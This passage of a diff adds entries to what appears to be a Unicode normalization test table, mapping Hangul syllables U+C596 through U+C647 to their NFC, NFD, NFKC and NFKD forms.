+{ source: [0xC596], NFC: [0xC596], NFD: [0x110B, 0x1163, 0x11C1], NFKC: [0xC596], NFKD: [0x110B, 0x1163, 0x11C1] },
+{ source: [0xC597], NFC: [0xC597], NFD: [0x110B, 0x1163, 0x11C2], NFKC: [0xC597], NFKD: [0x110B, 0x1163, 0x11C2] },
+{ source: [0xC598], NFC: [0xC598], NFD: [0x110B, 0x1164], NFKC: [0xC598], NFKD: [0x110B, 0x1164] },
+{ source: [0xC599], NFC: [0xC599], NFD: [0x110B, 0x1164, 0x11A8], NFKC: [0xC599], NFKD: [0x110B, 0x1164, 0x11A8] },
+{ source: [0xC59A], NFC: [0xC59A], NFD: [0x110B, 0x1164, 0x11A9], NFKC: [0xC59A], NFKD: [0x110B, 0x1164, 0x11A9] },
+{ source: [0xC59B], NFC: [0xC59B], NFD: [0x110B, 0x1164, 0x11AA], NFKC: [0xC59B], NFKD: [0x110B, 0x1164, 0x11AA] },
+{ source: [0xC59C], NFC: [0xC59C], NFD: [0x110B, 0x1164, 0x11AB], NFKC: [0xC59C], NFKD: [0x110B, 0x1164, 0x11AB] },
+{ source: [0xC59D], NFC: [0xC59D], NFD: [0x110B, 0x1164, 0x11AC], NFKC: [0xC59D], NFKD: [0x110B, 0x1164, 0x11AC] },
+{ source: [0xC59E], NFC: [0xC59E], NFD: [0x110B, 0x1164, 0x11AD], NFKC: [0xC59E], NFKD: [0x110B, 0x1164, 0x11AD] },
+{ source: [0xC59F], NFC: [0xC59F], NFD: [0x110B, 0x1164, 0x11AE], NFKC: [0xC59F], NFKD: [0x110B, 0x1164, 0x11AE] },
+{ source: [0xC5A0], NFC: [0xC5A0], NFD: [0x110B, 0x1164, 0x11AF], NFKC: [0xC5A0], NFKD: [0x110B, 0x1164, 0x11AF] },
+{ source: [0xC5A1], NFC: [0xC5A1], NFD: [0x110B, 0x1164, 0x11B0], NFKC: [0xC5A1], NFKD: [0x110B, 0x1164, 0x11B0] },
+{ source: [0xC5A2], NFC: [0xC5A2], NFD: [0x110B, 0x1164, 0x11B1], NFKC: [0xC5A2], NFKD: [0x110B, 0x1164, 0x11B1] },
+{ source: [0xC5A3], NFC: [0xC5A3], NFD: [0x110B, 0x1164, 0x11B2], NFKC: [0xC5A3], NFKD: [0x110B, 0x1164, 0x11B2] },
+{ source: [0xC5A4], NFC: [0xC5A4], NFD: [0x110B, 0x1164, 0x11B3], NFKC: [0xC5A4], NFKD: [0x110B, 0x1164, 0x11B3] },
+{ source: [0xC5A5], NFC: [0xC5A5], NFD: [0x110B, 0x1164, 0x11B4], NFKC: [0xC5A5], NFKD: [0x110B, 0x1164, 0x11B4] },
+{ source: [0xC5A6], NFC: [0xC5A6], NFD: [0x110B, 0x1164, 0x11B5], NFKC: [0xC5A6], NFKD: [0x110B, 0x1164, 0x11B5] },
+{ source: [0xC5A7], NFC: [0xC5A7], NFD: [0x110B, 0x1164, 0x11B6], NFKC: [0xC5A7], NFKD: [0x110B, 0x1164, 0x11B6] },
+{ source: [0xC5A8], NFC: [0xC5A8], NFD: [0x110B, 0x1164, 0x11B7], NFKC: [0xC5A8], NFKD: [0x110B, 0x1164, 0x11B7] },
+{ source: [0xC5A9], NFC: [0xC5A9], NFD: [0x110B, 0x1164, 0x11B8], NFKC: [0xC5A9], NFKD: [0x110B, 0x1164, 0x11B8] },
+{ source: [0xC5AA], NFC: [0xC5AA], NFD: [0x110B, 0x1164, 0x11B9], NFKC: [0xC5AA], NFKD: [0x110B, 0x1164, 0x11B9] },
+{ source: [0xC5AB], NFC: [0xC5AB], NFD: [0x110B, 0x1164, 0x11BA], NFKC: [0xC5AB], NFKD: [0x110B, 0x1164, 0x11BA] },
+{ source: [0xC5AC], NFC: [0xC5AC], NFD: [0x110B, 0x1164, 0x11BB], NFKC: [0xC5AC], NFKD: [0x110B, 0x1164, 0x11BB] },
+{ source: [0xC5AD], NFC: [0xC5AD], NFD: [0x110B, 0x1164, 0x11BC], NFKC: [0xC5AD], NFKD: [0x110B, 0x1164, 0x11BC] },
+{ source: [0xC5AE], NFC: [0xC5AE], NFD: [0x110B, 0x1164, 0x11BD], NFKC: [0xC5AE], NFKD: [0x110B, 0x1164, 0x11BD] },
+{ source: [0xC5AF], NFC: [0xC5AF], NFD: [0x110B, 0x1164, 0x11BE], NFKC: [0xC5AF], NFKD: [0x110B, 0x1164, 0x11BE] },
+{ source: [0xC5B0], NFC: [0xC5B0], NFD: [0x110B, 0x1164, 0x11BF], NFKC: [0xC5B0], NFKD: [0x110B, 0x1164, 0x11BF] },
+{ source: [0xC5B1], NFC: [0xC5B1], NFD: [0x110B, 0x1164, 0x11C0], NFKC: [0xC5B1], NFKD: [0x110B, 0x1164, 0x11C0] },
+{ source: [0xC5B2], NFC: [0xC5B2], NFD: [0x110B, 0x1164, 0x11C1], NFKC: [0xC5B2], NFKD: [0x110B, 0x1164, 0x11C1] },
+{ source: [0xC5B3], NFC: [0xC5B3], NFD: [0x110B, 0x1164, 0x11C2], NFKC: [0xC5B3], NFKD: [0x110B, 0x1164, 0x11C2] },
+{ source: [0xC5B4], NFC: [0xC5B4], NFD: [0x110B, 0x1165], NFKC: [0xC5B4], NFKD: [0x110B, 0x1165] },
+{ source: [0xC5B5], NFC: [0xC5B5], NFD: [0x110B, 0x1165, 0x11A8], NFKC: [0xC5B5], NFKD: [0x110B, 0x1165, 0x11A8] },
+{ source: [0xC5B6], NFC: [0xC5B6], NFD: [0x110B, 0x1165, 0x11A9], NFKC: [0xC5B6], NFKD: [0x110B, 0x1165, 0x11A9] },
+{ source: [0xC5B7], NFC: [0xC5B7], NFD: [0x110B, 0x1165, 0x11AA], NFKC: [0xC5B7], NFKD: [0x110B, 0x1165, 0x11AA] },
+{ source: [0xC5B8], NFC: [0xC5B8], NFD: [0x110B, 0x1165, 0x11AB], NFKC: [0xC5B8], NFKD: [0x110B, 0x1165, 0x11AB] },
+{ source: [0xC5B9], NFC: [0xC5B9], NFD: [0x110B, 0x1165, 0x11AC], NFKC: [0xC5B9], NFKD: [0x110B, 0x1165, 0x11AC] },
+{ source: [0xC5BA], NFC: [0xC5BA], NFD: [0x110B, 0x1165, 0x11AD], NFKC: [0xC5BA], NFKD: [0x110B, 0x1165, 0x11AD] },
+{ source: [0xC5BB], NFC: [0xC5BB], NFD: [0x110B, 0x1165, 0x11AE], NFKC: [0xC5BB], NFKD: [0x110B, 0x1165, 0x11AE] },
+{ source: [0xC5BC], NFC: [0xC5BC], NFD: [0x110B, 0x1165, 0x11AF], NFKC: [0xC5BC], NFKD: [0x110B, 0x1165, 0x11AF] },
+{ source: [0xC5BD], NFC: [0xC5BD], NFD: [0x110B, 0x1165, 0x11B0], NFKC: [0xC5BD], NFKD: [0x110B, 0x1165, 0x11B0] },
+{ source: [0xC5BE], NFC: [0xC5BE], NFD: [0x110B, 0x1165, 0x11B1], NFKC: [0xC5BE], NFKD: [0x110B, 0x1165, 0x11B1] },
+{ source: [0xC5BF], NFC: [0xC5BF], NFD: [0x110B, 0x1165, 0x11B2], NFKC: [0xC5BF], NFKD: [0x110B, 0x1165, 0x11B2] },
+{ source: [0xC5C0], NFC: [0xC5C0], NFD: [0x110B, 0x1165, 0x11B3], NFKC: [0xC5C0], NFKD: [0x110B, 0x1165, 0x11B3] },
+{ source: [0xC5C1], NFC: [0xC5C1], NFD: [0x110B, 0x1165, 0x11B4], NFKC: [0xC5C1], NFKD: [0x110B, 0x1165, 0x11B4] },
+{ source: [0xC5C2], NFC: [0xC5C2], NFD: [0x110B, 0x1165, 0x11B5], NFKC: [0xC5C2], NFKD: [0x110B, 0x1165, 0x11B5] },
+{ source: [0xC5C3], NFC: [0xC5C3], NFD: [0x110B, 0x1165, 0x11B6], NFKC: [0xC5C3], NFKD: [0x110B, 0x1165, 0x11B6] },
+{ source: [0xC5C4], NFC: [0xC5C4], NFD: [0x110B, 0x1165, 0x11B7], NFKC: [0xC5C4], NFKD: [0x110B, 0x1165, 0x11B7] },
+{ source: [0xC5C5], NFC: [0xC5C5], NFD: [0x110B, 0x1165, 0x11B8], NFKC: [0xC5C5], NFKD: [0x110B, 0x1165, 0x11B8] },
+{ source: [0xC5C6], NFC: [0xC5C6], NFD: [0x110B, 0x1165, 0x11B9], NFKC: [0xC5C6], NFKD: [0x110B, 0x1165, 0x11B9] },
+{ source: [0xC5C7], NFC: [0xC5C7], NFD: [0x110B, 0x1165, 0x11BA], NFKC: [0xC5C7], NFKD: [0x110B, 0x1165, 0x11BA] },
+{ source: [0xC5C8], NFC: [0xC5C8], NFD: [0x110B, 0x1165, 0x11BB], NFKC: [0xC5C8], NFKD: [0x110B, 0x1165, 0x11BB] },
+{ source: [0xC5C9], NFC: [0xC5C9], NFD: [0x110B, 0x1165, 0x11BC], NFKC: [0xC5C9], NFKD: [0x110B, 0x1165, 0x11BC] },
+{ source: [0xC5CA], NFC: [0xC5CA], NFD: [0x110B, 0x1165, 0x11BD], NFKC: [0xC5CA], NFKD: [0x110B, 0x1165, 0x11BD] },
+{ source: [0xC5CB], NFC: [0xC5CB], NFD: [0x110B, 0x1165, 0x11BE], NFKC: [0xC5CB], NFKD: [0x110B, 0x1165, 0x11BE] },
+{ source: [0xC5CC], NFC: [0xC5CC], NFD: [0x110B, 0x1165, 0x11BF], NFKC: [0xC5CC], NFKD: [0x110B, 0x1165, 0x11BF] },
+{ source: [0xC5CD], NFC: [0xC5CD], NFD: [0x110B, 0x1165, 0x11C0], NFKC: [0xC5CD], NFKD: [0x110B, 0x1165, 0x11C0] },
+{ source: [0xC5CE], NFC: [0xC5CE], NFD: [0x110B, 0x1165, 0x11C1], NFKC: [0xC5CE], NFKD: [0x110B, 0x1165, 0x11C1] },
+{ source: [0xC5CF], NFC: [0xC5CF], NFD: [0x110B, 0x1165, 0x11C2], NFKC: [0xC5CF], NFKD: [0x110B, 0x1165, 0x11C2] },
+{ source: [0xC5D0], NFC: [0xC5D0], NFD: [0x110B, 0x1166], NFKC: [0xC5D0], NFKD: [0x110B, 0x1166] },
+{ source: [0xC5D1], NFC: [0xC5D1], NFD: [0x110B, 0x1166, 0x11A8], NFKC: [0xC5D1], NFKD: [0x110B, 0x1166, 0x11A8] },
+{ source: [0xC5D2], NFC: [0xC5D2], NFD: [0x110B, 0x1166, 0x11A9], NFKC: [0xC5D2], NFKD: [0x110B, 0x1166, 0x11A9] },
+{ source: [0xC5D3], NFC: [0xC5D3], NFD: [0x110B, 0x1166, 0x11AA], NFKC: [0xC5D3], NFKD: [0x110B, 0x1166, 0x11AA] },
+{ source: [0xC5D4], NFC: [0xC5D4], NFD: [0x110B, 0x1166, 0x11AB], NFKC: [0xC5D4], NFKD: [0x110B, 0x1166, 0x11AB] },
+{ source: [0xC5D5], NFC: [0xC5D5], NFD: [0x110B, 0x1166, 0x11AC], NFKC: [0xC5D5], NFKD: [0x110B, 0x1166, 0x11AC] },
+{ source: [0xC5D6], NFC: [0xC5D6], NFD: [0x110B, 0x1166, 0x11AD], NFKC: [0xC5D6], NFKD: [0x110B, 0x1166, 0x11AD] },
+{ source: [0xC5D7], NFC: [0xC5D7], NFD: [0x110B, 0x1166, 0x11AE], NFKC: [0xC5D7], NFKD: [0x110B, 0x1166, 0x11AE] },
+{ source: [0xC5D8], NFC: [0xC5D8], NFD: [0x110B, 0x1166, 0x11AF], NFKC: [0xC5D8], NFKD: [0x110B, 0x1166, 0x11AF] },
+{ source: [0xC5D9], NFC: [0xC5D9], NFD: [0x110B, 0x1166, 0x11B0], NFKC: [0xC5D9], NFKD: [0x110B, 0x1166, 0x11B0] },
+{ source: [0xC5DA], NFC: [0xC5DA], NFD: [0x110B, 0x1166, 0x11B1], NFKC: [0xC5DA], NFKD: [0x110B, 0x1166, 0x11B1] },
+{ source: [0xC5DB], NFC: [0xC5DB], NFD: [0x110B, 0x1166, 0x11B2], NFKC: [0xC5DB], NFKD: [0x110B, 0x1166, 0x11B2] },
+{ source: [0xC5DC], NFC: [0xC5DC], NFD: [0x110B, 0x1166, 0x11B3], NFKC: [0xC5DC], NFKD: [0x110B, 0x1166, 0x11B3] },
+{ source: [0xC5DD], NFC: [0xC5DD], NFD: [0x110B, 0x1166, 0x11B4], NFKC: [0xC5DD], NFKD: [0x110B, 0x1166, 0x11B4] },
+{ source: [0xC5DE], NFC: [0xC5DE], NFD: [0x110B, 0x1166, 0x11B5], NFKC: [0xC5DE], NFKD: [0x110B, 0x1166, 0x11B5] },
+{ source: [0xC5DF], NFC: [0xC5DF], NFD: [0x110B, 0x1166, 0x11B6], NFKC: [0xC5DF], NFKD: [0x110B, 0x1166, 0x11B6] },
+{ source: [0xC5E0], NFC: [0xC5E0], NFD: [0x110B, 0x1166, 0x11B7], NFKC: [0xC5E0], NFKD: [0x110B, 0x1166, 0x11B7] },
+{ source: [0xC5E1], NFC: [0xC5E1], NFD: [0x110B, 0x1166, 0x11B8], NFKC: [0xC5E1], NFKD: [0x110B, 0x1166, 0x11B8] },
+{ source: [0xC5E2], NFC: [0xC5E2], NFD: [0x110B, 0x1166, 0x11B9], NFKC: [0xC5E2], NFKD: [0x110B, 0x1166, 0x11B9] },
+{ source: [0xC5E3], NFC: [0xC5E3], NFD: [0x110B, 0x1166, 0x11BA], NFKC: [0xC5E3], NFKD: [0x110B, 0x1166, 0x11BA] },
+{ source: [0xC5E4], NFC: [0xC5E4], NFD: [0x110B, 0x1166, 0x11BB], NFKC: [0xC5E4], NFKD: [0x110B, 0x1166, 0x11BB] },
+{ source: [0xC5E5], NFC: [0xC5E5], NFD: [0x110B, 0x1166, 0x11BC], NFKC: [0xC5E5], NFKD: [0x110B, 0x1166, 0x11BC] },
+{ source: [0xC5E6], NFC: [0xC5E6], NFD: [0x110B, 0x1166, 0x11BD], NFKC: [0xC5E6], NFKD: [0x110B, 0x1166, 0x11BD] },
+{ source: [0xC5E7], NFC: [0xC5E7], NFD: [0x110B, 0x1166, 0x11BE], NFKC: [0xC5E7], NFKD: [0x110B, 0x1166, 0x11BE] },
+{ source: [0xC5E8], NFC: [0xC5E8], NFD: [0x110B, 0x1166, 0x11BF], NFKC: [0xC5E8], NFKD: [0x110B, 0x1166, 0x11BF] },
+{ source: [0xC5E9], NFC: [0xC5E9], NFD: [0x110B, 0x1166, 0x11C0], NFKC: [0xC5E9], NFKD: [0x110B, 0x1166, 0x11C0] },
+{ source: [0xC5EA], NFC: [0xC5EA], NFD: [0x110B, 0x1166, 0x11C1], NFKC: [0xC5EA], NFKD: [0x110B, 0x1166, 0x11C1] },
+{ source: [0xC5EB], NFC: [0xC5EB], NFD: [0x110B, 0x1166, 0x11C2], NFKC: [0xC5EB], NFKD: [0x110B, 0x1166, 0x11C2] },
+{ source: [0xC5EC], NFC: [0xC5EC], NFD: [0x110B, 0x1167], NFKC: [0xC5EC], NFKD: [0x110B, 0x1167] },
+{ source: [0xC5ED], NFC: [0xC5ED], NFD: [0x110B, 0x1167, 0x11A8], NFKC: [0xC5ED], NFKD: [0x110B, 0x1167, 0x11A8] },
+{ source: [0xC5EE], NFC: [0xC5EE], NFD: [0x110B, 0x1167, 0x11A9], NFKC: [0xC5EE], NFKD: [0x110B, 0x1167, 0x11A9] },
+{ source: [0xC5EF], NFC: [0xC5EF], NFD: [0x110B, 0x1167, 0x11AA], NFKC: [0xC5EF], NFKD: [0x110B, 0x1167, 0x11AA] },
+{ source: [0xC5F0], NFC: [0xC5F0], NFD: [0x110B, 0x1167, 0x11AB], NFKC: [0xC5F0], NFKD: [0x110B, 0x1167, 0x11AB] },
+{ source: [0xC5F1], NFC: [0xC5F1], NFD: [0x110B, 0x1167, 0x11AC], NFKC: [0xC5F1], NFKD: [0x110B, 0x1167, 0x11AC] },
+{ source: [0xC5F2], NFC: [0xC5F2], NFD: [0x110B, 0x1167, 0x11AD], NFKC: [0xC5F2], NFKD: [0x110B, 0x1167, 0x11AD] },
+{ source: [0xC5F3], NFC: [0xC5F3], NFD: [0x110B, 0x1167, 0x11AE], NFKC: [0xC5F3], NFKD: [0x110B, 0x1167, 0x11AE] },
+{ source: [0xC5F4], NFC: [0xC5F4], NFD: [0x110B, 0x1167, 0x11AF], NFKC: [0xC5F4], NFKD: [0x110B, 0x1167, 0x11AF] },
+{ source: [0xC5F5], NFC: [0xC5F5], NFD: [0x110B, 0x1167, 0x11B0], NFKC: [0xC5F5], NFKD: [0x110B, 0x1167, 0x11B0] },
+{ source: [0xC5F6], NFC: [0xC5F6], NFD: [0x110B, 0x1167, 0x11B1], NFKC: [0xC5F6], NFKD: [0x110B, 0x1167, 0x11B1] },
+{ source: [0xC5F7], NFC: [0xC5F7], NFD: [0x110B, 0x1167, 0x11B2], NFKC: [0xC5F7], NFKD: [0x110B, 0x1167, 0x11B2] },
+{ source: [0xC5F8], NFC: [0xC5F8], NFD: [0x110B, 0x1167, 0x11B3], NFKC: [0xC5F8], NFKD: [0x110B, 0x1167, 0x11B3] },
+{ source: [0xC5F9], NFC: [0xC5F9], NFD: [0x110B, 0x1167, 0x11B4], NFKC: [0xC5F9], NFKD: [0x110B, 0x1167, 0x11B4] },
+{ source: [0xC5FA], NFC: [0xC5FA], NFD: [0x110B, 0x1167, 0x11B5], NFKC: [0xC5FA], NFKD: [0x110B, 0x1167, 0x11B5] },
+{ source: [0xC5FB], NFC: [0xC5FB], NFD: [0x110B, 0x1167, 0x11B6], NFKC: [0xC5FB], NFKD: [0x110B, 0x1167, 0x11B6] },
+{ source: [0xC5FC], NFC: [0xC5FC], NFD: [0x110B, 0x1167, 0x11B7], NFKC: [0xC5FC], NFKD: [0x110B, 0x1167, 0x11B7] },
+{ source: [0xC5FD], NFC: [0xC5FD], NFD: [0x110B, 0x1167, 0x11B8], NFKC: [0xC5FD], NFKD: [0x110B, 0x1167, 0x11B8] },
+{ source: [0xC5FE], NFC: [0xC5FE], NFD: [0x110B, 0x1167, 0x11B9], NFKC: [0xC5FE], NFKD: [0x110B, 0x1167, 0x11B9] },
+{ source: [0xC5FF], NFC: [0xC5FF], NFD: [0x110B, 0x1167, 0x11BA], NFKC: [0xC5FF], NFKD: [0x110B, 0x1167, 0x11BA] },
+{ source: [0xC600], NFC: [0xC600], NFD: [0x110B, 0x1167, 0x11BB], NFKC: [0xC600], NFKD: [0x110B, 0x1167, 0x11BB] },
+{ source: [0xC601], NFC: [0xC601], NFD: [0x110B, 0x1167, 0x11BC], NFKC: [0xC601], NFKD: [0x110B, 0x1167, 0x11BC] },
+{ source: [0xC602], NFC: [0xC602], NFD: [0x110B, 0x1167, 0x11BD], NFKC: [0xC602], NFKD: [0x110B, 0x1167, 0x11BD] },
+{ source: [0xC603], NFC: [0xC603], NFD: [0x110B, 0x1167, 0x11BE], NFKC: [0xC603], NFKD: [0x110B, 0x1167, 0x11BE] },
+{ source: [0xC604], NFC: [0xC604], NFD: [0x110B, 0x1167, 0x11BF], NFKC: [0xC604], NFKD: [0x110B, 0x1167, 0x11BF] },
+{ source: [0xC605], NFC: [0xC605], NFD: [0x110B, 0x1167, 0x11C0], NFKC: [0xC605], NFKD: [0x110B, 0x1167, 0x11C0] },
+{ source: [0xC606], NFC: [0xC606], NFD: [0x110B, 0x1167, 0x11C1], NFKC: [0xC606], NFKD: [0x110B, 0x1167, 0x11C1] },
+{ source: [0xC607], NFC: [0xC607], NFD: [0x110B, 0x1167, 0x11C2], NFKC: [0xC607], NFKD: [0x110B, 0x1167, 0x11C2] },
+{ source: [0xC608], NFC: [0xC608], NFD: [0x110B, 0x1168], NFKC: [0xC608], NFKD: [0x110B, 0x1168] },
+{ source: [0xC609], NFC: [0xC609], NFD: [0x110B, 0x1168, 0x11A8], NFKC: [0xC609], NFKD: [0x110B, 0x1168, 0x11A8] },
+{ source: [0xC60A], NFC: [0xC60A], NFD: [0x110B, 0x1168, 0x11A9], NFKC: [0xC60A], NFKD: [0x110B, 0x1168, 0x11A9] },
+{ source: [0xC60B], NFC: [0xC60B], NFD: [0x110B, 0x1168, 0x11AA], NFKC: [0xC60B], NFKD: [0x110B, 0x1168, 0x11AA] },
+{ source: [0xC60C], NFC: [0xC60C], NFD: [0x110B, 0x1168, 0x11AB], NFKC: [0xC60C], NFKD: [0x110B, 0x1168, 0x11AB] },
+{ source: [0xC60D], NFC: [0xC60D], NFD: [0x110B, 0x1168, 0x11AC], NFKC: [0xC60D], NFKD: [0x110B, 0x1168, 0x11AC] },
+{ source: [0xC60E], NFC: [0xC60E], NFD: [0x110B, 0x1168, 0x11AD], NFKC: [0xC60E], NFKD: [0x110B, 0x1168, 0x11AD] },
+{ source: [0xC60F], NFC: [0xC60F], NFD: [0x110B, 0x1168, 0x11AE], NFKC: [0xC60F], NFKD: [0x110B, 0x1168, 0x11AE] },
+{ source: [0xC610], NFC: [0xC610], NFD: [0x110B, 0x1168, 0x11AF], NFKC: [0xC610], NFKD: [0x110B, 0x1168, 0x11AF] },
+{ source: [0xC611], NFC: [0xC611], NFD: [0x110B, 0x1168, 0x11B0], NFKC: [0xC611], NFKD: [0x110B, 0x1168, 0x11B0] },
+{ source: [0xC612], NFC: [0xC612], NFD: [0x110B, 0x1168, 0x11B1], NFKC: [0xC612], NFKD: [0x110B, 0x1168, 0x11B1] },
+{ source: [0xC613], NFC: [0xC613], NFD: [0x110B, 0x1168, 0x11B2], NFKC: [0xC613], NFKD: [0x110B, 0x1168, 0x11B2] },
+{ source: [0xC614], NFC: [0xC614], NFD: [0x110B, 0x1168, 0x11B3], NFKC: [0xC614], NFKD: [0x110B, 0x1168, 0x11B3] },
+{ source: [0xC615], NFC: [0xC615], NFD: [0x110B, 0x1168, 0x11B4], NFKC: [0xC615], NFKD: [0x110B, 0x1168, 0x11B4] },
+{ source: [0xC616], NFC: [0xC616], NFD: [0x110B, 0x1168, 0x11B5], NFKC: [0xC616], NFKD: [0x110B, 0x1168, 0x11B5] },
+{ source: [0xC617], NFC: [0xC617], NFD: [0x110B, 0x1168, 0x11B6], NFKC: [0xC617], NFKD: [0x110B, 0x1168, 0x11B6] },
+{ source: [0xC618], NFC: [0xC618], NFD: [0x110B, 0x1168, 0x11B7], NFKC: [0xC618], NFKD: [0x110B, 0x1168, 0x11B7] },
+{ source: [0xC619], NFC: [0xC619], NFD: [0x110B, 0x1168, 0x11B8], NFKC: [0xC619], NFKD: [0x110B, 0x1168, 0x11B8] },
+{ source: [0xC61A], NFC: [0xC61A], NFD: [0x110B, 0x1168, 0x11B9], NFKC: [0xC61A], NFKD: [0x110B, 0x1168, 0x11B9] },
+{ source: [0xC61B], NFC: [0xC61B], NFD: [0x110B, 0x1168, 0x11BA], NFKC: [0xC61B], NFKD: [0x110B, 0x1168, 0x11BA] },
+{ source: [0xC61C], NFC: [0xC61C], NFD: [0x110B, 0x1168, 0x11BB], NFKC: [0xC61C], NFKD: [0x110B, 0x1168, 0x11BB] },
+{ source: [0xC61D], NFC: [0xC61D], NFD: [0x110B, 0x1168, 0x11BC], NFKC: [0xC61D], NFKD: [0x110B, 0x1168, 0x11BC] },
+{ source: [0xC61E], NFC: [0xC61E], NFD: [0x110B, 0x1168, 0x11BD], NFKC: [0xC61E], NFKD: [0x110B, 0x1168, 0x11BD] },
+{ source: [0xC61F], NFC: [0xC61F], NFD: [0x110B, 0x1168, 0x11BE], NFKC: [0xC61F], NFKD: [0x110B, 0x1168, 0x11BE] },
+{ source: [0xC620], NFC: [0xC620], NFD: [0x110B, 0x1168, 0x11BF], NFKC: [0xC620], NFKD: [0x110B, 0x1168, 0x11BF] },
+{ source: [0xC621], NFC: [0xC621], NFD: [0x110B, 0x1168, 0x11C0], NFKC: [0xC621], NFKD: [0x110B, 0x1168, 0x11C0] },
+{ source: [0xC622], NFC: [0xC622], NFD: [0x110B, 0x1168, 0x11C1], NFKC: [0xC622], NFKD: [0x110B, 0x1168, 0x11C1] },
+{ source: [0xC623], NFC: [0xC623], NFD: [0x110B, 0x1168, 0x11C2], NFKC: [0xC623], NFKD: [0x110B, 0x1168, 0x11C2] },
+{ source: [0xC624], NFC: [0xC624], NFD: [0x110B, 0x1169], NFKC: [0xC624], NFKD: [0x110B, 0x1169] },
+{ source: [0xC625], NFC: [0xC625], NFD: [0x110B, 0x1169, 0x11A8], NFKC: [0xC625], NFKD: [0x110B, 0x1169, 0x11A8] },
+{ source: [0xC626], NFC: [0xC626], NFD: [0x110B, 0x1169, 0x11A9], NFKC: [0xC626], NFKD: [0x110B, 0x1169, 0x11A9] },
+{ source: [0xC627], NFC: [0xC627], NFD: [0x110B, 0x1169, 0x11AA], NFKC: [0xC627], NFKD: [0x110B, 0x1169, 0x11AA] },
+{ source: [0xC628], NFC: [0xC628], NFD: [0x110B, 0x1169, 0x11AB], NFKC: [0xC628], NFKD: [0x110B, 0x1169, 0x11AB] },
+{ source: [0xC629], NFC: [0xC629], NFD: [0x110B, 0x1169, 0x11AC], NFKC: [0xC629], NFKD: [0x110B, 0x1169, 0x11AC] },
+{ source: [0xC62A], NFC: [0xC62A], NFD: [0x110B, 0x1169, 0x11AD], NFKC: [0xC62A], NFKD: [0x110B, 0x1169, 0x11AD] },
+{ source: [0xC62B], NFC: [0xC62B], NFD: [0x110B, 0x1169, 0x11AE], NFKC: [0xC62B], NFKD: [0x110B, 0x1169, 0x11AE] },
+{ source: [0xC62C], NFC: [0xC62C], NFD: [0x110B, 0x1169, 0x11AF], NFKC: [0xC62C], NFKD: [0x110B, 0x1169, 0x11AF] },
+{ source: [0xC62D], NFC: [0xC62D], NFD: [0x110B, 0x1169, 0x11B0], NFKC: [0xC62D], NFKD: [0x110B, 0x1169, 0x11B0] },
+{ source: [0xC62E], NFC: [0xC62E], NFD: [0x110B, 0x1169, 0x11B1], NFKC: [0xC62E], NFKD: [0x110B, 0x1169, 0x11B1] },
+{ source: [0xC62F], NFC: [0xC62F], NFD: [0x110B, 0x1169, 0x11B2], NFKC: [0xC62F], NFKD: [0x110B, 0x1169, 0x11B2] },
+{ source: [0xC630], NFC: [0xC630], NFD: [0x110B, 0x1169, 0x11B3], NFKC: [0xC630], NFKD: [0x110B, 0x1169, 0x11B3] },
+{ source: [0xC631], NFC: [0xC631], NFD: [0x110B, 0x1169, 0x11B4], NFKC: [0xC631], NFKD: [0x110B, 0x1169, 0x11B4] },
+{ source: [0xC632], NFC: [0xC632], NFD: [0x110B, 0x1169, 0x11B5], NFKC: [0xC632], NFKD: [0x110B, 0x1169, 0x11B5] },
+{ source: [0xC633], NFC: [0xC633], NFD: [0x110B, 0x1169, 0x11B6], NFKC: [0xC633], NFKD: [0x110B, 0x1169, 0x11B6] },
+{ source: [0xC634], NFC: [0xC634], NFD: [0x110B, 0x1169, 0x11B7], NFKC: [0xC634], NFKD: [0x110B, 0x1169, 0x11B7] },
+{ source: [0xC635], NFC: [0xC635], NFD: [0x110B, 0x1169, 0x11B8], NFKC: [0xC635], NFKD: [0x110B, 0x1169, 0x11B8] },
+{ source: [0xC636], NFC: [0xC636], NFD: [0x110B, 0x1169, 0x11B9], NFKC: [0xC636], NFKD: [0x110B, 0x1169, 0x11B9] },
+{ source: [0xC637], NFC: [0xC637], NFD: [0x110B, 0x1169, 0x11BA], NFKC: [0xC637], NFKD: [0x110B, 0x1169, 0x11BA] },
+{ source: [0xC638], NFC: [0xC638], NFD: [0x110B, 0x1169, 0x11BB], NFKC: [0xC638], NFKD: [0x110B, 0x1169, 0x11BB] },
+{ source: [0xC639], NFC: [0xC639], NFD: [0x110B, 0x1169, 0x11BC], NFKC: [0xC639], NFKD: [0x110B, 0x1169, 0x11BC] },
+{ source: [0xC63A], NFC: [0xC63A], NFD: [0x110B, 0x1169, 0x11BD], NFKC: [0xC63A], NFKD: [0x110B, 0x1169, 0x11BD] },
+{ source: [0xC63B], NFC: [0xC63B], NFD: [0x110B, 0x1169, 0x11BE], NFKC: [0xC63B], NFKD: [0x110B, 0x1169, 0x11BE] },
+{ source: [0xC63C], NFC: [0xC63C], NFD: [0x110B, 0x1169, 0x11BF], NFKC: [0xC63C], NFKD: [0x110B, 0x1169, 0x11BF] },
+{ source: [0xC63D], NFC: [0xC63D], NFD: [0x110B, 0x1169, 0x11C0], NFKC: [0xC63D], NFKD: [0x110B, 0x1169, 0x11C0] },
+{ source: [0xC63E], NFC: [0xC63E], NFD: [0x110B, 0x1169, 0x11C1], NFKC: [0xC63E], NFKD: [0x110B, 0x1169, 0x11C1] },
+{ source: [0xC63F], NFC: [0xC63F], NFD: [0x110B, 0x1169, 0x11C2], NFKC: [0xC63F], NFKD: [0x110B, 0x1169, 0x11C2] },
+{ source: [0xC640], NFC: [0xC640], NFD: [0x110B, 0x116A], NFKC: [0xC640], NFKD: [0x110B, 0x116A] },
+{ source: [0xC641], NFC: [0xC641], NFD: [0x110B, 0x116A, 0x11A8], NFKC: [0xC641], NFKD: [0x110B, 0x116A, 0x11A8] },
+{ source: [0xC642], NFC: [0xC642], NFD: [0x110B, 0x116A, 0x11A9], NFKC: [0xC642], NFKD: [0x110B, 0x116A, 0x11A9] },
+{ source: [0xC643], NFC: [0xC643], NFD: [0x110B, 0x116A, 0x11AA], NFKC: [0xC643], NFKD: [0x110B, 0x116A, 0x11AA] },
+{ source: [0xC644], NFC: [0xC644], NFD: [0x110B, 0x116A, 0x11AB], NFKC: [0xC644], NFKD: [0x110B, 0x116A, 0x11AB] },
+{ source: [0xC645], NFC: [0xC645], NFD: [0x110B, 0x116A, 0x11AC], NFKC: [0xC645], NFKD: [0x110B, 0x116A, 0x11AC] },
+{ source: [0xC646], NFC: [0xC646], NFD: [0x110B, 0x116A, 0x11AD], NFKC: [0xC646], NFKD: [0x110B, 0x116A, 0x11AD] },
+{ source: [0xC647], NFC: [0xC647], NFD: [0x110B, 0x116A, 0x11AE], NFKC: [0xC647], NFKD: [0x110B, 0x116A, 0x11AE] },
